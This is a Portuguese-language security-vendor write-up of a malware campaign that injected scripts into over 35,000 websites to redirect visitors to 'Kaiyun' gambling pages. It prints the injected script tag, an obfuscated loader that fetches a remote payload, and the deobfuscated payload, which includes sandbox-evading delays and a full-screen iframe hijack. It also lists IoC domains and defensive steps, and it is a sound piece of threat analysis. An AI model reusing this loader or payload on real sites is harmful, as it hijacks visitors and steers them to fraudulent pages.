Resumo: sequestro de página inteira Kaiyun ZuizhongJS mlbetjs em 35 mil sites
- Sites anónimos, ignorados: A maior parte da atenção vai para ataques direcionados a marcas conhecidas, mas esta campanha sequestrou mais de 35.000 sites, na sua maioria anónimos, para promover a marca de apostas Kaiyun. Passou despercebida porque o tráfego da vítima média não está na lista de alerta de ninguém.
- Os IOCs: O Mlbetjs[.]com atingiu mais de 18.000 sites, o ptfafajs[.]com mais de 9.000, o zuizhongjs[.]com mais de 4.800, e o payload usava um atraso randomNum de 500-1000 ms para contornar sandboxes antes de escrever um iframe em ecrã inteiro com z-index 2147483647. O agente JavaScript first-party da cside observa o comportamento em runtime de cada script em tempo real e já tinha bloqueado a injeção para os nossos utilizadores.
- Migre para um inventário runtime: Se o seu inventário de JS de terceiros ainda vive numa folha de cálculo, não tem forma de saber se um único script mlbetjs injetado está a redirecionar silenciosamente o seu tráfego para a Kaiyun. Migre para um inventário de scripts em runtime esta semana.
Sem tempo? Veja o bloqueio de Magecart e skimmers no navegador da cside. Cobre tudo o que se segue numa única implementação.
Uma nova campanha de malware comprometeu mais de 35.000 sites, injetando um script malicioso a partir dos sites listados abaixo. Assim que o script é carregado, sequestra completamente a janela do navegador do utilizador, redirecionando-o frequentemente para páginas que promovem uma plataforma de apostas (ou casino) em língua chinesa.
O ataque parece ter como alvo, ou originar-se de, regiões onde o mandarim é comum, e as páginas de destino finais apresentam conteúdo de apostas sob a marca "Kaiyun".
Lista de Indicadores de Comprometimento (IoCs):
- Mlbetjs[.]com (mais de 18 mil sites infetados) - link publicwww
- Ptfafajs[.]com (mais de 9 mil sites infetados) - link publicwww
- Zuizhongjs[.]com (mais de 4,8 mil sites infetados) - link publicwww
- Jbwzzzjs[.]com (mais de 2,9 mil sites infetados) - link publicwww
- Jpbkte[.]com (mais de 30 sites infetados) - link publicwww
Encontrou redirecionamentos semelhantes ou novos IoCs? Partilhe-os ou contacte a nossa equipa. Ao reunirmos dados, conseguimos identificar e desmantelar ameaças em evolução com mais rapidez.
Todos os sites listados acima exibem a seguinte mensagem:

Traduzido:
Parabéns, o site foi criado com sucesso! Este é o index.html predefinido. Esta página é gerada automaticamente pelo sistema. Esta página é o index.html no diretório raiz do FTP Pode modificar, eliminar ou substituir esta página Para informações relacionadas com o FTP, aceda a "Painel do Sistema > FTP" para visualizar
O Processo de Infeção
Como exemplo, analisámos o zuizhongjs[.]com.
Os atacantes inserem uma etiqueta <script> de uma linha, referenciando zuizhongjs[.]com, diretamente nos ficheiros do site (por exemplo, no <head> ou no final do <body>). Segue-se um exemplo do código injetado:
<script language="javascript"
src="https://www.zuizhongjs[.]com/js/24/12/7/ky1.js"
type="text/javascript"></script>
Loader Ofuscado
Dentro do ficheiro carregado, os atacantes utilizam um trecho de JavaScript que escreve outro elemento de script para obter malware adicional:
;(function(o, q, f, e, w, j) {
w = q.createElement(f);
j = q.getElementsByTagName(f)[0];
w.async = 1;
w.src = e;
j.parentNode.insertBefore(w, j);
})(window, document, 'script', `https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de.js?qbsfsc=${Math.floor(Date.now() / 1000)}`);
O código acima usa concatenação de strings e eval() para ocultar o seu verdadeiro propósito. Injeta uma nova etiqueta <script>, obtendo o payload principal a partir do mesmo domínio malicioso.
Payload Principal (Desofuscado)
Abaixo está uma versão simplificada do script principal, mostrando as funcionalidades-chave:
function isMobile() {
return navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i) ? true : false;
}
var url = "https://www.zuizhongjs[.]com/go/kaiyun1/ky.html";
function getIosVersion() {
var str = navigator.userAgent.toLowerCase();
var ver = str.match(/cpu iphone os (.*?) like mac os/);
return ver ? parseInt(ver[1].slice(0,2)) : false;
}
var u = navigator.userAgent;
var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);
function randomNum(minNum, maxNum) {
return parseInt(Math.random() * (maxNum - minNum + 1) + minNum, 10);
}
const time = randomNum(500, 1000);
console.log(time);
document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
document.write('<style>html,body{width:100%;height:100%;overflow:hidden; clear:both;}</style>');
document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">');
document.write('<iframe src="' + url + '" frameborder="0" style="border:0;width: 100%; text-align: center; height:100%;max-height: 4000px;"></iframe>');
document.write('</div>');
Principais Conclusões
- Deteção de Dispositivo
- Utiliza funções como
isMobile(),getIosVersion(),isIOSpara adaptar o payload a dispositivos ou sistemas operativos específicos.
- Atraso Aleatório
randomNum(500, 1000)introduz um atraso de 500 a 1000 ms para evitar varrimentos automatizados ou deteção em sandbox.
- Sequestro em Ecrã Inteiro
- O código injeta um elemento que cobre completamente a página, substituindo todo o conteúdo original.
- URL Ofuscado
- O
urlinicial pode ser ainda mais ofuscado (por exemplo, através de escapes Unicode). Atualmente, aponta para https://www.zuizhongjs[.]com/go/kaiyun1/ky.html.
- Redirecionamento Final
- Após a execução completa, alguns utilizadores são enviados para um segundo domínio, por exemplo, https://www.p11vt3[.]vip:6002/register50154?i_code=21708264, típico de fluxos de registo fraudulentos ou de phishing.
Os atacantes parecem direcionar o tráfego para um site de apostas (ou casino) em língua chinesa que opera sob a marca "Kaiyun".
Durante a nossa análise, identificámos algumas variantes em sites infetados:


Alguns IPs ou regiões veem uma página a indicar que o acesso está bloqueado. Esta instrui os utilizadores a contactar um e-mail ou o "suporte online", possivelmente para filtrar investigadores de segurança ou reduzir tráfego indesejado.

Possível Ligação ao Exploit da Megalayer
A nossa análise sugere que esta campanha pode estar relacionada com o exploit da Megalayer, conhecido pela distribuição de malware em língua chinesa. Os indícios incluem:
- Localização: Texto em chinês, referências a públicos falantes de mandarim.
- Padrões de Domínio: A estrutura do zuizhongjs[.]com, além de múltiplos domínios de redirecionamento a usar .vip ou outros TLDs favorecidos por determinados agentes de ameaça.
- Táticas de Ofuscação: URLs com escapes Unicode, atrasos baseados em código, entre outros.
Como Proteger o Seu Site
A cside analisa o payload de cada pedido de script em tempo real. Caso um script tente carregar uma versão maliciosa, identificamo-lo, bloqueamos o carregamento e alertamos a sua equipa.
A cside já bloqueou este ataque para os nossos utilizadores através de análise em tempo real e defesa proativa. Se suspeitar que o seu site está infetado, contacte imediatamente o seu fornecedor de segurança ou de alojamento.
- Auditar o Código-Fonte
- Verifique o seu HTML, ficheiros de tema e templates do CMS à procura de etiquetas não autorizadas que referenciem zuizhongjs[.]com ou domínios igualmente suspeitos.
- Bloquear Domínios Maliciosos
- Use regras de firewall ou bloqueio ao nível do DNS para: zuizhongjs[.]com
- p11vt3[.]vip (e subdomínios associados)
- Monitorize os registos (logs) à procura de pedidos de saída inesperados para estes domínios.
- Verificar Modificações Não Autorizadas
- Reveja regularmente a sua conta de alojamento ou use um verificador de integridade de ficheiros.
- Qualquer alteração inexplicável em ficheiros essenciais pode indicar uma backdoor ou ponto de injeção.
- Restrinja os scripts apenas a domínios de confiança com uma CSP bem definida.
- Impeça o carregamento de scripts inline e de fontes desconhecidas.
- Varrimentos Frequentes do Site
A campanha de malware ZuizhongJS demonstra como um único script injetado pode sequestrar milhares de sites, redirecionando utilizadores desprevenidos para portais de apostas em língua chinesa. A presença de logótipos conhecidos de futebol e de referências desportivas sugere uma tentativa de aparentar legitimidade, mas toda a operação parece não licenciada ou francamente fraudulenta.
- Proprietários de Sites: Remova quaisquer scripts injetados, bloqueie domínios maliciosos e reforce a sua configuração de segurança para evitar reinfeção.
- Investigadores de Segurança: É necessária mais investigação para confirmar a ligação à Megalayer, identificar os métodos exatos de infiltração (por exemplo, plugins de CMS vulneráveis, credenciais roubadas) e rastrear domínios adicionais.
A cside detetou e bloqueou este ataque com sucesso. Se estiver preocupado com possíveis infeções, o nosso sistema pode fornecer análise em tempo real e defesa proativa.









